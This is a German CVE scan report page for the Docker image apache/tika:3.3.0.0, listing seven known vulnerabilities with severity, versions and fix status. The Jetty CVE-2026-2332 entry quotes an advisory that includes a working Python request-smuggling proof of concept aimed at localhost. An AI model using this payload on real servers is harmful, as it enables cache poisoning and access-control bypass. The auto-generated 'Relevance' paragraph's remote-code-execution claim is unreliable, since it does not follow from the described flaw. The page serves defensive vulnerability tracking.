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CVE-Scan für apache/tika:3.3.0.0

Docker-Image-Sicherheitslücken-Scanner

7 Bekannte Sicherheitslücken in diesem Docker-Image

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Kritisch
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Hoch
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Mittel
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Info/ Unbestimmt/ Unbekannt
CVE-IDSchweregradPaketBetroffene VersionBehobene VersionCVSS-Score
CVE-2026-2332highjetty-http>=11.0.0,<=11.0.2711.0.287.4

Description (as reported)

Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.

Technical Details

RFC 9112 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.

Vulnerability

Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.

Expected (RFC compliant):

Chunk: 1;a="value\r\nhere"\r\n
         ^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]

Actual (jetty):

Chunk: 1;a="value
            ^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: Server returns 2 HTTP responses from a single TCP connection.

Parsing Breakdown

Parser Request 1 Request 2
jetty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED!)
RFC compliant POST / body="Y" (none - smuggled request hidden in extension)

Impact

  • Request Smuggling: Attacker injects arbitrary HTTP requests
  • Cache Poisoning: Smuggled responses poison shared caches
  • Access Control Bypass: Smuggled requests bypass frontend security
  • Session Hijacking: Smuggled requests can steal other users' responses

Reproduction

  1. Start the minimal POC with docker
  2. Run the poc script provided in same zip

Suggested Fix

Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112. A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.

Patches

No patches yet.

Workarounds

No workarounds yet.

Relevance:

This CVE is highly relevant for normal usage as Apache Tika is designed to parse untrusted files, which is the primary vector for this vulnerability. It becomes critical in scenarios where the Docker image is used as a backend service to automatically process user-uploaded documents, as an attacker could exploit the flaw to achieve remote code execution or a denial-of-service. Without the specific technical details from the description, it must be treated as a high-risk threat to any workflow involving automated file ingestion. (Note: Relevance analysis is automatically generated and may require verification.)

Package URL(s):
  • pkg:maven/org.eclipse.jetty/jetty-http@11.0.26
CVE-2025-68973highgnupg2<2.4.4-2ubuntu23.22.4.4-2ubuntu23.27.0
CVE-2026-34478mediumlog4j-core>=2.21.0,<2.25.42.25.46.9
CVE-2026-34480mediumlog4j-core>=2.0-alpha1,<2.25.42.25.46.9
CVE-2024-6763mediumjetty-http>=7.0.0,<=12.0.1112.0.126.3
CVE-2026-34477mediumlog4j-core>=2.12.0,<2.25.42.25.46.3
CVE-2025-11143lowjetty-http>=11.0.0,<=11.0.26not fixed3.7

Schweregradstufen

Ausnutzung könnte zu schwerwiegenden Konsequenzen wie Systemkompromittierung oder Datenverlust führen. Erfordert sofortige Aufmerksamkeit.

Sicherheitslücke könnte relativ leicht ausgenutzt werden und erhebliche Auswirkungen haben. Erfordert zeitnahe Aufmerksamkeit.

Ausnutzung ist möglich, erfordert aber möglicherweise spezifische Bedingungen. Auswirkungen sind moderat. Sollte zeitnah behoben werden.

Ausnutzung ist schwierig oder die Auswirkungen sind minimal. Kann bei Gelegenheit oder im Rahmen der regulären Wartung behoben werden.

Schweregrad ist nicht bestimmt, informativ oder vernachlässigbar. Überprüfung je nach Kontext.

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Über Sliplane

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Über den CVE-Scanner

Der CVE-Scanner ist ein leistungsstarkes Tool, das dir hilft, bekannte Sicherheitslücken in deinen Docker-Images zu identifizieren. Indem deine Images mit einer umfassenden Datenbank von Common Vulnerabilities and Exposures (CVEs) abgeglichen werden, kannst du sicherstellen, dass deine Anwendungen sicher und auf dem neuesten Stand sind. Für weitere Details, schau dir die NIST CVE-Datenbank an.

Warum CVE-Scanning für deine Docker-Images wichtig ist

Mit dem Anstieg von Supply-Chain-Angriffen ist die Sicherung deiner Anwendungen wichtiger denn je. CVE-Scanning spielt eine entscheidende Rolle bei der Identifizierung von Sicherheitslücken, die von Angreifern ausgenutzt werden könnten, insbesondere solche, die durch Abhängigkeiten und Drittanbieter-Komponenten eingeführt werden. Regelmäßiges Scannen und Sichern deiner Docker-Images ist essenziell, um deine Anwendungen vor diesen sich entwickelnden Bedrohungen zu schützen.

Was ist eine CVE?

CVE steht für Common Vulnerabilities and Exposures. Es ist ein standardisierter Bezeichner für bekannte Sicherheitslücken, der Entwicklern und Organisationen ermöglicht, potenzielle Risiken effektiv zu verfolgen und zu beheben. Für weitere Informationen, besuche cve.mitre.org.

Vorteile des CVE-Scannens

  • Erhöhte Sicherheit: Erkenne und behebe Sicherheitslücken, bevor sie ausgenutzt werden.
  • Compliance: Erfülle Branchenstandards und regulatorische Anforderungen für sichere Software.
  • Proaktive Wartung: Bleibe potenziellen Bedrohungen einen Schritt voraus, indem du Sicherheitslücken frühzeitig behebst.

Wie der CVE-Scanner funktioniert

Der CVE-Scanner analysiert deine Docker-Images anhand einer umfassenden Datenbank bekannter Sicherheitslücken. Er nutzt Docker Scout im Hintergrund, um detaillierte Einblicke in betroffene Pakete, Schweregradstufen und verfügbare Fixes zu liefern, sodass du sofort handeln kannst.

Die Bedeutung des Patchens von Docker-Images

Das Patchen deiner Docker-Images ist ein entscheidender Schritt, um die Sicherheit und Stabilität deiner Anwendungen zu gewährleisten. Durch regelmäßige Updates deiner Images mit den neuesten Sicherheitspatches kannst du bekannte Sicherheitslücken beheben und das Risiko einer Ausnutzung reduzieren. Dieser proaktive Ansatz stellt sicher, dass deine Anwendungen widerstandsfähig gegenüber neuen Bedrohungen bleiben und hilft, die Einhaltung von Sicherheitsstandards zu gewährleisten.

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